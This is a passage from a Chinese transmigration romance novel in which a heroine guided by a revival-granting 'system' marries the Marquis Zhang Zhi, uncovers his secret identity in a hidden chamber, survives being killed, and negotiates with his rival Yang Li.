谢蕴想起张止腰间确有一枚,当初还以为是芝落相送,没有想到出处竟然在此。
成婚于女子是大事,但谢蕴一心想要完成任务,根本无暇顾及这些虚礼。
“眉若姑姑,麻烦你去宫门口看看张止,别让皇子、驸马太为难他。”
耽误他的时间就是耽误完成任务的速度!
贵妃娘娘笑着眉若的背影,嗔怪道:“现在不为难他,还要等到什么时候?新娘子不必这么着急。免得让人笑话。”
谢蕴观察镜子中的人,红衣金钗,长长的流苏垂到耳边,一副喜庆的模样。
她在现代还没有穿过这么美的婚服呢。
“娘娘,你进宫时也是这样吗?”
贵妃透过镜子和她对视上,露出一丝苦笑:“真是孩子话,当今陛下还是王爷时,我已入府。有王妃在侧,我怎么能穿这么鲜红的嫁衣?”
“娘娘,娘娘!不好了!”
贵妃不悦,重重的将杯子放下,呵斥道:“什么事大呼小叫?大喜的日子,不要说这些不吉利的话!”
那宫女气还未喘匀,一手指着外面:“不好了…杨…杨大人在宫门口堵门呢!说是谢小姐娘家无人,他今日充当一把,添添喜气。”
“什么!”谢蕴唰的一下从镜子前面站起来,顾不得嫁衣的繁重,差点摔到地下,幸得丫鬟眼疾手快,这才稳稳的站定。
贵妃先是安慰:“阿蕴,你别慌张,天子赐婚,杨励还敢阻拦不成?”又接着询问宫女:“他们要怎么堵门?可有其他人在?”
“杨大人说,要…要比试剑法。大臣和皇子都在,但谁也不敢上前过问。”
“我要去看看。”谢蕴此刻哪里还坐不住,两手提起裙摆焦急道:“杨励到底要搞什么鬼!”
“你别慌张,关心则乱。”
谢蕴怎能不慌张?任务只限今晚完成,书房内的密室她还不知道在哪。
两队人马正在宫门前相互对峙,张止一席红衣,单手握着缰绳坐在马背上,春风得意马蹄疾,一日看尽长安花。
而对面为首的杨励一身孝衣,立于宫门前。
一红一白,相对而立。
“杨大人,非得今日比试吗?我答应了我夫人,要早早的迎娶她过门,误了吉时可不好。”
“我也正是为了张大人添点喜气。”
谢蕴站
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在城墙,刚想叫停,贵妃拦下她,语气忧愁:“在宫门口闹起来,陛下没有出面调停,那么这就是陛下的意思。”
“你且看一看,不必急在一刻。”
谢蕴心烦意乱:“这…我怎么能不急。”
张止仰头,胸有成竹的朝着城楼上高声道:“夫人不必担忧,为夫定会信守诺言。”
他这么自信,都让谢蕴怀疑这是不是张止安排好的。
“你别看我。”贵妃面对谢蕴也有点迷茫:“自家弟弟娶亲,我总不会这样安排。”
谢蕴双手扒着城墙,半个身子探出去,努力想看的更清楚些。
而后张止抬腿下马,从马鞍中抽出一把软剑,信步走向前。
“动手吧。”他右腿后撤一步,还未起举剑,杨励持刀破风而来,不偏不倚正朝着张止的脸而去,一出手便是杀招。
“卑鄙!还未开始呢!”谢蕴心中一紧。
张止侧身滑步,转身借力,另一只手顺势将软剑横在身前,正巧抵在刀口之上,而他迅速低身,一招扫堂腿带着风声横扫而出。
宫墙外刀光剑影,宫墙内忧心忡忡。
谢蕴目光在一红一白两道身影间来回移动,贵妃看着她的侧脸不禁感叹:“昨日府里传话,说你对阿止一往情深,我还想着府里人夸大其词,今日看见你这副模样,才知所言不虚。”
谢蕴很惭愧,她从来不是为了张止,只是为了自己。
较量仍未停止,双手握刀的杨励突然间换成单手。
“他那把刀看起来那么重,一个手就能握住吗?”谢蕴疑惑,霎那间杨励从腰后掏出一把短刀,趁双方对峙之时,猛然向对面刺去。
张止脚步一转,侧身躲过,可无奈手中力度稍减,长刀紧紧相逼,软剑终是不敌。他只笑了一下,手腕翻转,借力卸力。
谢蕴收回身子,眼中喷火:“他怎么这样!无耻!”
她顾不得其他,提着厚重的裙摆,小跑着到宫门口。
贵妃愣了一会才知道她要干什么,命令宫人:“你们还不快跟着!”
一群丫鬟没有见过这架势,也跟着谢蕴小跑:“谢小姐,小心摔倒了!”
谢蕴气喘吁吁的跑在宫门口,婚服太重,压着她直不起腰:“快…快开门,我…我要出去。”
侍卫为难:“还未堵门,我们不敢私自放新人出门。”
“这个时候还讲究什么规矩?”谢蕴扶着腰终于站直,一口气总算喘匀了:“快开门,我要出去!”
“对不住,谢小姐。”侍卫义正严辞的拒绝。
隔着一道门,外面的打斗声越演越烈,谢蕴不由心惊肉跳,左顾右看想找一件趁手的兵器,最后直接抽出侍卫腰中的佩剑:“我命令你,打开宫门!过了此刻,我就是名正言顺的镇北侯夫人,你敢耽误我成婚的吉时,我绝不轻饶。”
两个侍卫面面相觑,谢蕴转了转眼珠,继续威胁:“皇上的旨意让我今日成亲,为了这些虚礼,你们还要抗旨不遵!”
随着吱呀一声响,宫门从里面慢慢打开,谢蕴快步跑出去,外面两人听到动静也停下来。
谢蕴扔到手中佩剑,远远的朝杨励欠身行了一礼:“多谢杨大人替我拦门,此情来日必报。”
5. 恨嫁娘子 深夜游戏
杨励抬头看了看太阳,确认时间:“还没有到时辰,谢小姐何必如此恨嫁。这在京城之中可不是什么好名声。”
名声哪有命重要!
不过,谢蕴在牙尖嘴利这块从不服输:“恨嫁的确不是好什么名声,偷袭也未必能让人看得起。”
杨励知道自己是小人行径,他虽从不在乎,可当面被人教训还是头一遭,加上有杀父之仇在,此时更是心有不甘,借着收刀的名义,猛然触碰到袖中的短剑。
霎那间,那把短剑向谢蕴快速奔来。
谢蕴看见时已躲闪不开,她并不害怕。
反正还有两张复活卷!
忽然间手腕间冒出来一阵温热的触感,一股大力将谢蕴往左边拉去,她踉跄的差点倒下去。
张止半个身子挡在她面前,右手执剑,厉声道:“杨大人,如此做派是想试试我的剑快否?”
“拦门而已,张大人何至于如此不快?”
若是看书、看热闹,谢蕴自是喜欢这样的场面多一点,可现实事关任务,波及生死,她可没有心情继续。
“不必拦门了,杨大人,我要上花轿了。”
此言一出,不仅杨励意外,连张止都一脸疑惑,斜过身子小声提点:“天子赐婚,你我还未入宫谢恩,于礼不合。”
“吉时将到,陛下也会理解我们的。贵妃娘娘已经去请旨了。”谢蕴着急的样子一反常态,环顾四周,高声呼喊:“喜娘呢?喜娘在哪?把喜帕拿过来。”
喜娘慌慌忙忙的捧着喜帕送到谢蕴面前,忍不住提醒:“谢小姐,按照规矩,这得贵妃娘娘身旁的嬷嬷们…”
“不要废话了。”谢蕴一把拿过喜帕,不带一丝犹豫当众给自己盖了喜帕,满不在乎说:“张止,回府,我们成亲。”
从皇子到大臣,从张止到杨励,在场的所有人脸上写满震惊。
喜娘轻声说道:“谢小姐,女子侍夫,应当温和谦卑。”
在看不见的盖头下,谢蕴翻了大大的白眼。
封建主义的糟粕!
作者经历过新时代的洗礼吗?四大名著都没这么封建!
张止“唰”的一声收剑,平静说道:“不碍事。”
“皇上口谕!”太监尖细嗓子传旨:“皇上口谕!”
谢蕴在喜娘的搀扶下跪到地上:“吉时将到,镇北侯无须进宫谢恩,携夫人回府完婚,三日后回门谢恩即可。”
“谢皇上。”
“张大人,杨某作为拦门人,去府里讨要一杯喜酒喝,可还方便?”
谢蕴内心焦灼,杨励不知道肚子里憋了什么坏水,总是这么耽误时间!
“夫君,杨大人如今重孝在身,不好和我们回府。杨公泉下有知,定然会责骂杨大人不孝。”
张止附和:“杨大人,既如此,就恕张某夫妇不请之罪。”
杨励笑了:“张大人,惧内啊!”
谢蕴一怔,隔着盖头听见身旁的人低声笑了:“夫妇之道,自当如此。”
接下来的事情很顺利,无非拜堂成亲,送入洞房。
“张大人,外面宾客纷纷…”一到洞房内,谢蕴迫不及待地开始赶人:“是否…”
“你是说让我去陪客?”
喜娘笑:“都已经行礼了,该改口叫夫君了。夫人这是害羞呢。”
张止不说话,沉寂了半刻道:“既如此,夫人稍等片刻,为夫应酬完便回来,必然不辜负如此良夜。”
“前厅事多,不必着急。”谢蕴抓紧补了一句,免得到时还没有找到密室,张止就回来了。
张止轻声嗯了一下,拂袖而去。
丫鬟喜娘被这操作看的目瞪口呆,头一次在大婚之夜看见新娘往外赶新郎的。
“好啦,你们也下去吧,折腾了一天,我也累了。”谢蕴随便找个理由打发他们出去:“现在也没有你们什么事了,去喝杯喜酒,好好放松放松。”
“是。”
谢蕴掀开盖头,确定所有人都走了,她才敢蹑手蹑脚的出门。
循着模糊的记忆找到书房不难,难得是如何打开密室。
张止的书房不大,三间屋子依次隔断,正中摆放的几把檀木圆凳并一张圆桌,想必是用来议事,左右两边分别是书架和武器库,同墙高的书架前放了一张紫檀大案,案上依次陈设着笔墨纸砚,当头摆了一个定窑花瓶,插了几支干枯的柳树枝,书桌上还有未收起来的长卷宣纸,谢蕴凑过去扫了一眼,是还未完成的书画,笔墨才干,应是放笔不久。
她由衷的佩服:“这几天出了这么多事,还有闲情逸致画画,冷面阎罗,名不虚传啊。”
整个书房称得上一览无遗,按照张止如今的品级,这样的书房实在是低调的不能在低调,在这里造一间密室,动静太大,说不好就叫人怀疑,得不偿失。
那这个密室究竟是藏在哪呢?莫非有机关?
谢蕴查看了半天,除了把自己累的半死,一无所获。
所幸一屁股坐到椅子上,盯着摆在桌子的画,随手翻了摆在右边的字帖。
“系统啊系统,你的设定没有问题吗?”她自言自语:“这么小的一个书房,哪有什么密室。”
“宿主,设定没有问题。”
“那密室在哪?我怎么进去?”
系统不说话,谢蕴双手扶着椅子站起来,不知道是笑自己傻还是笑系统聪明:“挺谨慎,知道我在套你话。”
既然东、西、北三面没有往外拓展的可能,那么唯一有可能的地方就是在地下。
谢蕴趴在地下一块一块的敲击石板,繁琐的婚服浮上一层薄土。
她抱起来婚服不明,侯府每日都有人专门清扫,论理不会这么脏。
她从桌上拿起烛台,弯着腰一寸一寸的挪动步子,终于看清这土顺着椅子下一路至门口。
谢蕴轻笑,原来在这!
是啊!谁这么有种敢搬开张止屁股下的凳子!
最危险的地方依旧是最安全的地方。
当初建造密室的工匠心思巧妙,所属石板上花纹与书房其他处无异,像是整块石头雕刻而成,一般人难以找到入口所在。
谢蕴举着烛台,扶着扶手一步步踩着楼梯,出乎意料的,密室很干净,看来有人时常细细打扫。
最后一步,谢蕴稳稳的踏到泥地上:“怪不得楼上会有土。”
密室与书房相比很简陋,东面墙上挂着一张画,下设香案,香案上依次摆着贡品,香烛。空气里残留着檀香味,证明不久前有人来过。
谢蕴将烛台高高的举起,放在画像旁,借着烛光才能看清。
画中少年约莫十七八岁的样
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子,这张脸温柔似水,与张止有九分相像,眉宇间透露着淡淡的神性。
谢蕴了然,这应该是真正的张止。
“夫人,叫为夫好找。”寂静的密室传来一道如鬼魅的声音。
谢蕴完成任务的好心情,在这一声“夫人”里了当无存,身子猛然一震,不自觉地后退两步,手里的烛台“咚”的一声掉落在地,整个人好似被雷劈过一般,愣愣的站在原地。
张止从黑暗中走出来,眼皮低垂,脚尖拨弄烛台,弯腰捡起,放到案上,神色自若:“不过一句问候,夫人哪至于受这么大的惊吓。”
“你是如何找到这里来的?”烛火并未熄灭,一晃一晃照亮他半张脸,另外半张脸掩藏在黑暗里,模糊不清,神似他的名号:冷面阎王。
谢蕴不寒而栗,哆哆嗦嗦地又往后退了几步。
张止并未在意她的举动,转身从桌上拿起三根香,点燃,举到额头后虔诚地鞠躬、叩拜。
书中提过,张正虽为张止的侍卫,但张正视张止为兄长,关系极好。
谢蕴只好赌一把,万一刷波好感就放过她呢?于是伸手颤抖着想取香,张止抓住她的手腕,声色俱厉的质问:“你要干什么?”
“我…我…我也祭拜一下…”
张止反而笑了,露出狰狞之色:“死人是不配祭拜他的。”
谢蕴脸色“唰”一下变的惨白,扭动的手腕想挣扎出来。
这人怎么回事,为什么动不动就想杀人!
奈何对方力气太大,她挣扎半天也是无济于事。
“你要在你兄长面前杀人吗?”谢蕴另一只手抄起烛台,狠狠的朝张止面上扔过去,后者只斜了一下身子,就轻松躲过。
趁着这个间隙,张止松开她的手,踱步走到谢蕴的身边:“你还知道什么?”
谢蕴大脑转的飞快,上次已经因为说出这件事让他杀了我一次了,这次还能不能坦白说呢?
虽然有复活卷,虽然死不了,可疼痛是真的啊!
但如今这架势,我已经发现密室,就算不死,也要少半条命。
“别打什么鬼主意了,你或迟或早都是要死的。”
“是人都会死的。”谢蕴插科打诨:“没有谁会永生。”
“我的意思是,你片刻后就会死。”张止俊美的脸上看不见一丝表情,缓缓抬手,又百无聊奈的放下:“你把你知道的说出来,或许我能改变主意。”
谢蕴直视张止的眼睛,不知道这次的决定对不对。
事已至此,她没有其他出路了。
“画像上的人叫张止,而你叫张正。”
周围的空气凝结了,似乎能够听见烛火燃烧的声音,张止平静的脸上顿时松懈下来,有了些许不一样的表情,像是畅快?像是震惊?
谢蕴形容不出来。
“我不以杀人为乐,只是在这事上你活不了。”
谢蕴也有自己的底牌,她并不害怕,再次将烛台捡起来,颇有一种谈判的架势:“天子赐婚,你杀了我,你可以隐藏着住吗?到时候连这个密室都要公布于众了。全天下的人都会好奇你是谁吧?”
张止轻蔑的笑了,后退了几步,上下打量着谢蕴,好似要看的更真切一些:“你是皇上的眼线,又给我下毒,难道你不应该好奇我是怎么容忍你到现在的吗?”
6. 死而复生 夫人成嫂
谢蕴脑里好像有什么碎掉的东西正在悄悄粘合起来。
当朝皇帝信奉先成家后立业,书中提过张止成亲后三天就拿到了兵权!对于这件事,作者只是寥寥一笔,她也未曾在意。
“你看到我下毒,特意把那道胭脂鹅脯送给周公,既除了劲敌,又给我让我当替死鬼。”谢蕴后背发凉,她只拿张止当一个书中的纸片人看待,没有想到他竟然设了这么大的局:“今早,你又故意在宫门口与杨励发生冲突,这样就算我死了,嫌疑最大的就是杨励。我是皇上派来的人,我杀了杨公,更加重了杨励和皇上的间隙。”
这么缜密的心思,她居然只拿他当一个纸片人。
张止看着画像,眼里微微一动,慢条斯理道:“不妨告诉你,你死了,我会把你的尸体交给杨励。”
谢蕴点头,一切都顺理成章:“对,你说过要给他一个交待。”
她不由自主的叹口气,还好知道了这一切,她能有重来的机会。
张止抬手挡在蜡烛前,吹灭蜡烛的同时从腰间抽出软剑。
她又死了!
“系统,系统!”
“宿主,恭喜你完成第三项任务,这个回合的奖励是转赠卷一张,可以把你的兵器、技能送给别人。”
“先别说这个了,我要使用复活卷。”
“好的,宿主。鉴于你上次选择是在事件之前复活,这次只能在事件发生时复活。”
谢蕴沉思,理清了逻辑:“你是说,我复活只能是死而复生的状态?”
“是的,系统规定是不能做出与上一次相同的选择。”
系统之前提示过,只是那时她没有放在心上。
谢蕴看了看张止,此人做事谨慎小心,又补了两剑,确认死的透透的才放心。
“死而复生”,谢蕴扶额,这该怎么解释?
“宿主,还要使用复活卷吗?”
“使用。”谢蕴嘴角抽搐:“我还有选择的权利吗?”
张止跪在蒲团,脊背笔直,他罪业深重,只有在此忏悔:“少爷,我又杀了一个人。她不无辜,可也没有多大的罪过。我曾犹豫过,但若不杀,你我的秘密就会被知晓。”
谢蕴紧闭双眼,不知此刻应不应该要睁开。
“十年已过,我不知道这些年我做的如何。苦心经营至此,我也没有什么退路。但求早日查明真相。”
谢蕴口中一阵鲜甜,卡在咽喉的血痰涌上来,她一时没忍住咳嗽起来。
张止听到动静,回头看她,脸上的表情从惭愧到疑惑,最后不自信的握紧手中的剑。
“没死?”他沉眸,冷声确认:“长时间没有杀人了,竟然失手了。”
“无妨,正好练手。”
他掀袍起身,高大的身影遮住烛光,阴影之下与画像悲悯神性的张止,判若两人。
谢蕴立马举手投降,死亡可以复活,疼痛是无可替代的。
“别别别,我刚刚是真死了,你不也确认过了?还补了两剑。”谢蕴扭过脖子,展示伤口。
“那你怎么又活了?”
谢蕴信口雌黄:“其实…其实…我可以复活…”
“怪力乱神。”显然,他并不相信这些,指节分明的手握住利剑步步紧逼,谢蕴不住挪动身体退后,电光火石间灵光一闪,指着画像,慌不择言:“等等,我不仅可以复活自己,还可以复活别人,就是画像上的那个人,真正的张止,我也可以复活。”
她没有撒谎,她有转赠卷,又有复活卷,怎么不能复活?
张止脚步一滞,手里的剑慢慢的垂下来,他无法抵制这种诱惑,自少爷离去后,他与少爷有十年未见,声线清冷:“你说的是真的?”
他杀过很多人,经验告诉他,人死不能复生。
但这个女子又确实当着他的面醒来,在自己已经确认死亡后又活了。
他不信也得信!
谢蕴松了口气,果然,这个兄长对他来说是什么也取代不了的,抓紧机会,再下一剂强心药:“我能复活不就是最好的证明吗?你刚才都检查过了,对不对?”
张止哑然,收起软剑,眼眸微动:“需要多久才能复活?”
“这个不好说啊。”谢蕴清了清嗓子,具体的事项她还要和系统沟通,现在无法做出承诺:“也是要看机缘的。”
“你最好说的是实话。”张止杀意又起,内心又无比纠结,冷言威胁:“不然,我保证你死的比现在惨。”
谢蕴反倒有恃无恐,她已掌握张止的命脉,现下趾高气昂:“我说的就是实话,不然我怎么复活的?不过我告诉你,复活也是有次数的,我用了,他就用不了,你最好保证我不会死。”
“你在想想,你不是张止的事情,有谁知道?我为什么突然知道了?”谢蕴越演越烈,叉着腰毫不客气的吹嘘:“这说明什么?说明我有大神通!”
张止蹙眉,意味不明:“这么说,你是神婆?”
“子不语,怪力乱神。”谢蕴擦了擦脖子上的血迹,感叹安然无事最好不过:“你我现在是同盟了,我是来帮助你的。”
“帮助我做什么?“张止只觉得眼前的女子越来越发癫,但为了少爷复活大计,唯有睁一只眼闭一只眼。
“实现你的梦想!”
***
新婚之夜洗澡,丫鬟们闻所未闻,捂着嘴偷笑:“这位新娘恨嫁不说,情趣也是不遑多让。”
谢蕴洗完澡干净躺在床上,心情太好。
“起来,这是我的床。”谢蕴看着站在床尾像个受气包的张止,她盘腿坐起,振振有词:“我和你理理这关系,本来我是要嫁给张止的对不对?你是不是张正?”
后者点头,不知谢蕴到底要说什么。
“张止对你有恩,对吧?你拿他当兄长?”
他继续点头。
谢蕴狡黠一笑,此人终于掉入她的陷阱:“那就是了,我原本是要嫁给张止的。若是以后他复活,我就是你的嫂嫂。自古侍兄如侍父,侍嫂如侍母。话至此处,你还让我起来吗?”
张止一怔,不知此女居然如此伶牙俐齿,说起这些不伦不类的道理有条不紊,极不情愿的背过身走到对面软塌上和衣躺下:“你最好践行你的诺言。”
“放心吧。”
谢蕴抱着被子,偷瞄屏风外的身影:“这件事,芝落知道吗?”
“不知,全天下只有你我知道。所以,你知道怎么做了。”
“只有我们两个知道就不符合逻辑了。”谢蕴没有细想,只凭借着感觉猜测。
“你不是号称你有大神通吗?”张止边试探边激将:“不妨猜猜看。”
“这只能说明一个问题,是张止让你替代的他而不是他的家族。”
事实上是谁谢蕴并不清楚,睡梦中听的书,真真假假听了大概。
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那头不在应声,一夜无话至天明。
谢蕴睁眼时,张止已经穿戴整齐,暗红色麒麟纹交领长衫,金线压边,贵气逼人。
“这么早,你要干什么?”谢蕴睡眼惺忪。
他没有回答,从床边抽下自己的佩剑,随后在中指上割出一道,随手抹在白布上。
落红。
谢蕴恍然大悟,拉长语调,语气暧昧:“很懂啊。张大人。想来也是风月场所中的常客。”
张止面色如初,耳朵变得通红,一本正经道:“你应该叫我夫君。”沉了沉,又替自己辩白:“还有,我从不去那些地方。夫人,这么了解,想必多有心得。”
“心得谈不上,不过,”谢蕴斜过身子:“话本子看的多。”
“唰”的一声,长剑回鞘。
芝落已毕恭毕敬地站在门口:“我伺候夫人洗漱。”
谢蕴从镜子里偷窥芝落的表情,这一场婚姻中,她唯一对不起的是芝落,原本这个位置该是她的。
因她的到来,无意改变了原本的结局。
“芝落姐姐…”
谢蕴拉起她的手,鹅黄色的女子茫然无措地看着她。
“我和张止…”
芝落摇摇头,示意她不用继续往下说:“我明白的。”
“可是…”
芝落坚定的道:“我真的明白。只要他心中认定谁是他的妻子,位分重要吗?”
谢蕴不由肃然起敬,从心里佩服她,如此强大的内心,怪不得被张止引以为知己。
系统现在不在派发任务,她却迷茫,谁能告诉她张止的梦想是什么呢?
“系统。”
“宿主,您好。”
“我可以把复活卷送给死去的张止吗?”谢蕴心中藏不住的小小喜悦,张止复活,这不就是张正的梦想吗?
若张止复活,张正恰巧梦想实现,她可以回到原来的世界,一切回归正轨。
“不可以哦,复活卷只能复活死去十分钟以内的人。”
谢蕴挠头:“不会吧。”
张止昨晚那张半掩在在黑暗中的脸,让她不忍回忆。
谢蕴紧闭双眼,微微抿着嘴唇:“还有什么好办法吗?”
“你在和谁说话?”张止白皙修长的手指,敲敲她面前的桌子,狐疑:“你来找我就是为了自言自语?”
她看着那只手,不由想起昨夜这只手握住软剑的力度,指节发白,微微泛红,手背上的青筋隐隐可见。
谢蕴先前的趾高气昂在知晓不能复活张止后荡然无存,温声细语:“我是想问,你的梦想是什么?”
张止眼皮半垂,看傻子似的看着她。
谢蕴了然:“我都说了,复活这种事情也是要看时机的。”
谢蕴欲哭无泪,他的梦想果然是复活他的少爷。
“主公,杨大人来了。”
张止只嗯了一声,随后吩咐道:“让他去偏厅吧,我稍后就去。”
谢蕴凑上前:“你打算怎么办?”
“放心,这次绝对不会把你交出去。”他合起书本,叹道:“你现在对我比任何人都重要。”
“我有办法解决这件事。”
原书有杨公死去的情节,那已经是在快结尾时,现在误打误撞让这个情节提前了。
杨励没有想到出来见他的竟然是个小娘子:“张大人何故不现身?”
7. 计谋难改 夫人登场
“张大人此刻正在内殿更衣,嘱咐我先来作陪。”
杨励环顾四周,除了芝落一个婢女,剩下的奴仆皆不在。
“从前听说镇北侯府已经有当家作主的女主人,如今鸠占鹊巢,”杨励扯了扯嘴角,挑拨离间:“你心里不会一点想法都没有吧?”
谢蕴下意识地看向芝落,后者则微微欠身:“夫人与大人婚约在前,我没有丝毫怨言。”
谢蕴不爽:“杨大人,小人做法再一再二还要再三吗?”
杨励靠在椅背上,显然没有将她放在眼里,大婚那日她的确让自己刮目相看,可那比别人高一点点的欣赏算不了什么:“我劝你谨言慎行,毕竟你我之间有杀父之仇,我就算杀了你,连皇上也不会说什么的。”
原著中提过,杨励是完全的利己主义者。
“张止现下推你出来,你以为他能护住你?”
“别说这些,不如谈谈你父亲。”谢蕴一屁股坐到椅子上,手掌打开做了一个请的姿势。
提起这件事,杨励脸色铁青:“你要怎么解决?”
谢蕴胸有成竹,懒懒的说道:“他不是你的亲生父亲,你又何苦这样强出头?”
杨励眼中闪过一丝惊讶,随即猛的冲到谢蕴面前,像个惊慌失措的小孩,立刻倒打一耙:“你说什么?造谣也是要有证据的。”
谢蕴嗤笑出声,方寸大乱了这不是!造谣需要什么证据?但亲眼所见杨励这般,心中更觉胜券在握。
“是不是的,你我心里都有数。”
“你只是杨公的养子,这件事一旦公开,他那些亲身孩儿会放过你吗?”
“杨公家产众多,不知阁下能分到几何?抛去杨公这层身份,太后还会将你引以为心腹吗?”
杨励没有想过这件事会堂而皇之地让眼前的小女孩说出来,稳了稳心神,回身坐到谢蕴的对面:“你说的对,是不是的,我们心里有数。”
“张夫人,空口白牙一张嘴,谎话说起来也太轻松了。”
谢蕴清清嗓子,从手边端起一杯茶,放缓动作,缓缓喝茶,刻意晾他一会:“你怎么知道我没有证据呢?再者说,我没有证据,张止难道没有吗?”
她表面装的淡定,内心慌的一塌糊涂。
谢蕴只知道原著中杨父死在张府时,张止抖出他的身份,互相之间有了牵制,事情就这么不了了之,可是,张止现在还没有收集到这条情报。
她开了金手指推动剧情,奈何对面的人不信。
“好,我就当你说的真的,生养之恩大于天,养育之恩更是难报。总不能因为你一句话,我就息事宁人了。”杨励怎会看不出来女子的心思,也装模做样喝了一口茶,将茶杯轻轻的放在桌子上,语气鄙夷:“张夫人,你不配和我谈这件事,你到现在还没有弄清楚,我和张大人之间到底在争些什么。你什么都不明白,又怎么能和我谈?”
杨励毫不掩饰自己的嘲讽、鄙视,他更搞不懂的是皇上选了个这么无知的少女来做眼线,目的何在。
谢蕴愣了愣,大脑飞速运转,像杨励这样的利己主义者,只有最核心的利益才能打动他,既然那些都不能说服他,那么究竟还有什么东西是没有想到的。
芝落眼见情况不妙,从屏风后退出去,转角忽见张止双手环抱在胸前,目光紧紧注视着偏厅,静立不动,不知站了多久。
“阿止…”
张止伸出食指放在嘴边,比了一个噤声的手势,芝落心领神会轻声道:“你还不去?”
“不急。”张止偏首看着女子的侧脸,坚韧果敢,昨晚的事情用离谱二字形容也不过分,他到现在也没有明白,死人是怎么复活的。现在又多了一条杨励是养子,这些事他都不知道,谢蕴又是从哪得知这些?想到这里,他似乎看见那女子身上被雾气缠绕。现如今,只好以站在局外人的视角多看看,祈祷能有新的答案。
谢蕴思考片刻,悠然道:“你是想说,让张大人站队太后?”
这就是他最核心的利益。
张止脑子里“噔”的一声响,涉及朝堂他不可在作壁上观,身旁一只手急忙拉住他,芝落轻声道:“你现在进去是答应还是不答应?不如让谢蕴在试探几句。”
杨励抬眸:“怎么样?能不能做了张大人这个主?能做的了,我就和你谈。”
谢蕴一只手撑着桌面托腮,另一只手五指胡乱地在膝盖上打着节奏,大大咧咧的思考。
杨励在心中唉声叹气,不由的同情张止,此等小户人家的女子,一点规矩都没有。他那样眼高于顶的人居然娶了这样的女人,实在悲哀。
“想好了吗?”眼看一盏茶的功夫过去,杨励无心继续陪她玩闹。
谢蕴点头:“想好了。”
“如何?”
“我答应了,站队太后。”
谢蕴此言一出,震惊了在场四人。
张止狭长的眼角下压,恨不得立马冲进去,如今这时机已进退两难,他若进去,必遭辖制。
此女究竟意欲何为?
杨励更是一脸不可思议,试探性地出声:“你可知道你在说什么?”
“还需要我重复一遍吗?”谢蕴嘴角含笑,一脸正经,寸土不让:“我倒是想知道这件事,杨大人要怎么处理?”
“回去之后,我立马上书,禀明杨公因病而亡,只不过凑巧是在张府。”
谢蕴很满意这个说法,悬在心中的大石头终于可以放下。
杨励却忐忑不安,张止怎么想的他不知道,谢蕴虽满口答应,又怕她是信口开河之辈。
“咦?杨大人还不走?今日可不留饭。”
杨励嘴角抽搐,这逐客令下的,和张止如出一辙,真是一脸情面都不留。现在看起来,他们倒是十分般配。
“杨大人,你有我的把柄,可是没有真凭实据,你是养子的事又不想人尽皆知,如今我又答应你站队,简直就是双重保障,你还有什么担心的?”谢蕴一脸平静,与刚才简直判若两人。
杨励起身行礼:“告辞。”
谢蕴扭头松一口气,感谢天感谢地,这一关总算是对付过去了。
“谢小姐,哦,不对,张夫人,我可不是什么善男信女,”背后一道凌厉的声音:“耍我的话,不会有什么好下场。”
谢蕴扭头,露出官方的
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笑容:“当然。”
待到亲眼目睹杨励走远后,谢蕴这副伪装才卸下来,她不由长输一口气,后背已经湿透,疲惫靠在椅背上。
张止面色沉重,眼中情绪晦暗不明,不发一言,芝落瞟了一眼张止,先发制人:“你做事怎会如此不计后果?还不赶紧回房反省,杵在这里做什么?”
谢蕴对这番看似问责,实则袒护的言辞露出友好的笑,随即解释:“你们怕什么?是我答应的,又不是你张大人答应的,有什么好害怕的。”
“只怕皇上和太后不会这么想。”
“我是皇上的眼线,我会向上陈述这一切情况。”
张止来了兴趣,她倒也不是自己想的那般没脑子,只凭着一股子冲动办事,于是继续质疑,意在引诱:“宁可信其有不可信其无。”
“你这个位置,又关乎国本,皇上会质疑、会敲打,不会对你有什么大动作的。何况,杀了你对皇上又没有什么好处。只要双方给个台阶下,不至于让人咬着这个问题,皇上也会睁一眼闭一眼的。”
“那太后那边又该如何?”
谢蕴自信盎然:“不用管她。反正,她不会成功的。”
“何出此言?”张止眼神里闪过几缕惊讶。
谢蕴狡黠一笑,书里早就写了呀,结局里太后甘愿让权,苦心经谋付之东流。
“当今皇上文韬武略,自然胜他人百倍。”
张止缄默良久,道:“芝落,我要和她单独谈谈。”
张止坐到之前杨励的位置上,与她四目相对。
她等着他的问话。
沉默一阵后,张止只垂眼:“后日进宫谢恩,若是你要上述,只在今日。”
张止的寥寥几句话让人颇感意外,谢蕴挑眉,旁敲侧击:“没有什么要问的吗?比如我是怎么知道杨励是养子?”
“我并不想知道。”他声音清冷,无欲无求。
谢蕴点头,食指指着自己身后:“那…我用一下你的书房?”
张止做出个请的姿势,道:“自便。”
***
书桌上笔墨纸砚一应俱全,细算张大人的官位,文房四宝皆是好的,拿来传家也不为过。
谢蕴却犯难,拿起毛笔嘀咕:“早知道练软笔了,练什么硬笔。”
“什么?”张止从书后探出一张脸,他本是监督谢蕴莫写一些不该写的话,可女子不吭声又苦大仇深的样子引起他的好奇。
迈步走进一看,纸上歪歪扭扭地写了:皇上,我…
张止抿了抿嘴角,憋了许久的笑声还是从唇边溢出。
“哈哈哈…”
谢蕴深深吸了一口气,想要借此平息自己的怒气,可惜并没有什么效果,扭头瞪他:“干嘛!有什么好笑的!字写的不好有必要笑成这样吗?”
张止及时收起笑容,嘴角的笑依旧压不住,干咳两声开始指导:“这个…我是说…你写给皇上的奏折,最好礼貌一点,比如加个民女谢蕴恭请皇上圣安。”
“知道了。”谢蕴随手将废纸扔到一边,又重新沾墨。
“如果字写的不好的话,少沾点墨比较好。”
8. 出诊偶遇 再见对手
谢蕴受不了,忍了许久的情绪终于爆发:“怎么?你学写字的时候就很好吗?你的师父也是像你这般絮絮叨叨吗?”
张止面色一沉,眼底的情绪转了转,他长久逼迫自己情绪不外泄,没成想在这一句话上溃不成军,于是沉默走到身后的书架边,抱过来一堆字帖,重重的放在桌子上:“我的字是少爷教的。如你所说,我实在不像话,我写字时,少爷从未取笑我。”
“希望你也要有这种品质,”谢蕴随手拿起最上面的一本,从歪歪扭扭、大小不一到字体工整才几页纸的功夫,惊讶:“从最开始练字到现在用了几年?”
“从未间歇。”
这四字让谢蕴倒吸一口凉气,坚持一直做好一件事实在不容易。
她捧着字帖又瞅了眼张止很疑惑,明明只是书中的角色,怎么像有了思想?
张止伸手敲敲谢蕴面前的纸,催促:“我脸上有字?”
折腾了整整一下午,谢蕴总算将密信写出来了,最后一个字写完时,她四仰八叉的靠在椅背上,望着头顶上的横梁,长吁一声道:“我究竟造了什么孽,要受此酷刑!”
张止行云流水的从一地废纸中走到桌前,抽走最新的一张,谈不上表扬,平淡无奇地道:“和幼子笔力无异,不过能让皇上看懂,也就行了。”
